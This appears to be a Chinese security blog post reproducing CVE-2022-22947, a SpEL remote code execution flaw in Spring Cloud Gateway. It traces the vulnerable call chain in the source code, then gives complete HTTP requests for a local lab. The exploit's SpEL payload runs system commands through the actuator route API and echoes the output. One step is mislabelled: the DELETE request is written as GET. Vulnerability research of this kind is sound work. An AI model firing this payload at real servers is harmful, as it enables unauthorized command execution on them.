0 环境搭建

影响范围:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway < 3.0.7

p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

也可以本地搭建

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动

1 漏洞触发点

首先找到spring-cloud-gateway的commit记录,看看修改的地方,直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

如下:

非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置

三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中,且重写了不同的normalize方法,继续向上找ShortcutType#normalize方法的调用

最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,并且传入的时该类的properties成员变量,而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中

继续向上寻找bind方法的调用

发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不仅出现了bind方法调用,还出现了properties方法调用,跟进该properties方法可见对properties成员变量的设置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下调用spel表达式时恰好需要的properties成员变量。

由此即可知道该漏洞的触发可能来自于gatewayFilter的添加,并且从loadGatewayFilters方法继续向上跟踪调用如下:

RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

也可以看到确实来自于filter的添加。

所以思路可以出来,由于添加filter时输入了spel表达式,被当作properties进行解析,最终导致恶意表达式被执行,从而实现rce。

再从spring cloud gateway的文档进行查看

文档的11.5中提到,使用POST请求/gateway/routes/id 并使用json格式的数据,可以创建一个route,并且从前面的格式中也可以看到,支持添加filter。

但没有给出filters字段中具体应该怎么写,但没关系,我们从源代码可以找到

org.springframework.cloud.gateway.filter.FilterDefinition这个filter的定义类中,其成员变量如下

运行程序后,再mappings里面可以看到/routes/{id}这个uri对应的方法

跟进该方法可以看到对filter给进的name有验证

调试模型下可以看到允许的name如下

这里的每种name,实际上又对应了不同的GatewayFilterFactory

其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果,因此恰好满足回显要求

根据这里的getName和getValue可以知道还需要添加name和value字段

2 构建poc

根据前面的信息,可以逐步汇总出poc的样子,

  • 首先是POST /actuator/gateway/routes/{id}
  • 然后添加json body,其中需要给出id和filters字段
  • 其中filters字段需要给出name和args,而name的值需要设置为AddResponseHeader获得回显,args中需要name和value

最终poc如下

  • post请求创建route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329 {
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
}
}],
"uri": "http://test.com"
}

  • POST请求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

由于前面使用的spel是ping百度的,所以需要等待一会,也可以换成其它命令,比如dir、ipconfig、whoami等

  • GET请求/actuator/gateway/routes/test,触发spel,并得到回显
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到ping命令的输出

  • DELETE请求删除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

3 总结

昨天在twitter上看到了这个rce,没有太注意,昨天晚上看到通报,感觉这个洞还是有价值的,想着今天来复现应该差不多,结果P牛昨天就把docker上传到vulhub了,y4er师傅也写出了分析文章,跟不上啊= =

p牛和y4er师傅用的是spring自带的类处理命令执行的返回字节流,我用的是之前找到的jdk自带方法,其实都差不多

参考

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现的更多相关文章

  1. Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析

    Spring Cloud gateway是什么? Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关.网关作为流量的,在微服务系统中有着非常作 ...

  2. CVE-2022-22947 SpringCloud GateWay SpEL RCE

    CVE-2022-22947 SpringCloud GateWay SpEL RCE 目录 CVE-2022-22947 SpringCloud GateWay SpEL RCE 写在前面 环境准备 ...

  3. spring cloud gateway - RequestRateLimiter

    1. Official website 5.7 RequestRateLimiter GatewayFilter Factory The RequestRateLimiter GatewayFilte ...

  4. 网关服务Spring Cloud Gateway(三)

    上篇文章介绍了 Gataway 和注册中心的使用,以及 Gataway 中 Filter 的基本使用,这篇文章我们将继续介绍 Filter 的一些常用功能. 修改请求路径的过滤器 StripPrefi ...

  5. spring cloud gateway 之限流篇

    转载请标明出处: https://www.fangzhipeng.com 本文出自方志朋的博客 在高并发的系统中,往往需要在系统中做限流,一方面是为了防止大量的请求使服务器过载,导致服务不可用,另一方 ...

  6. 微服务网关实战——Spring Cloud Gateway

    导读 作为Netflix Zuul的替代者,Spring Cloud Gateway是一款非常实用的微服务网关,在Spring Cloud微服务架构体系中发挥非常大的作用.本文对Spring Clou ...

  7. 微服务网关 Spring Cloud Gateway

    1.  为什么是Spring Cloud Gateway 一句话,Spring Cloud已经放弃Netflix Zuul了.现在Spring Cloud中引用的还是Zuul 1.x版本,而这个版本是 ...

  8. 跟我学SpringCloud | 第十四篇:Spring Cloud Gateway高级应用

    SpringCloud系列教程 | 第十四篇:Spring Cloud Gateway高级应用 Springboot: 2.1.6.RELEASE SpringCloud: Greenwich.SR1 ...

  9. Spring Cloud Gateway(十):网关过滤器工厂 GatewayFilterFactory

    本文基于 spring cloud gateway 2.0.1 1.GatewayFilterFactory 简介 路由过滤器允许以某种方式修改传入的HTTP请求或传出的HTTP响应. 路径过滤器的范 ...

随机推荐

  1. listen()和accept()

    1.listen()队列剖析 作用:监听端口,TCP连接中的服务器端角色 调用格式:int listen(int sockfd, int backlog); 第一个参数:创建的sockfd, 好好理解 ...

  2. CTF web安全45天入门学习路线

    前言 因为最近在准备开发CTF学习平台,先做一个学习路线的整理,顺便也是对想学web的学弟学妹的一些建议. 学习路线 初期 刚刚走进大学,入了web安全的坑,面对诸多漏洞必然是迷茫的,这时的首要任务就 ...

  3. web前端基础之SCC(定位-z-index模态框)

    目录 一:定位(position) 1.relative(相对定位) 2.absolute(绝对定位) 3.fixed(固定) 二:相对定位 1.相对定位 2.实现相对定位 三:绝对定位 1.实现绝对 ...

  4. Nginx怎么处理请求的?

    nginx接收一个请求后,首先由listen和server_name指令匹配server模块,再匹配server模块里的 location,location就是实际地址.   server { # 第 ...

  5. Markdown学习——Typora入门之常用操作语法及其快捷键

    Markdown 学习--Typora入门 Markdown是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档,然后转换成有效的XHTML(或者HTML)文档. 由于Markdown的轻 ...

  6. storyboard文件的认识

    - 作用:描述软件界面 - 程序启动的简单过程     - 程序一启动,就会加载`Main.storyboard`文件     - 会创建箭头所指的控制器,并且显示控制器所管理的软件界面 - 配置程序 ...

  7. 通过导入Jar包的方式使用JSONObject

    如果想要在Java中使用JSONObject,而且只想通过导入jar包的方式下,那么仅仅导入Json的jar包还是不够的. 不然会报:java.lang.ClassNotFoundException: ...

  8. LaunchScreen原理

    会自动加载LaunchScreen是因为在Target当中,指定了Launch Screen file 它的底层实现其实把LaunchScreen上的东西,生成了一张图片,然后把这张图片设为程序的启动 ...

  9. Nodejs path对象

    很快Node就会迎来4.0的时代,届时将并入现有的iojs,所以先前写过的iojs入门系列直接更名为NodeJS入门. 本篇开始将逐个介绍Node的各主要模块,依循API文档走一遍,但会给出比API文 ...

  10. PHP页面编码问题

    页面编码统一MySQL数据库编码.html页面编码.PHP或html文件本身编码要全部一致.1.MySQL数据库编码:建立数据库时指定编码(如gbk_chinese_ci),建立数据表.建立字段.插入 ...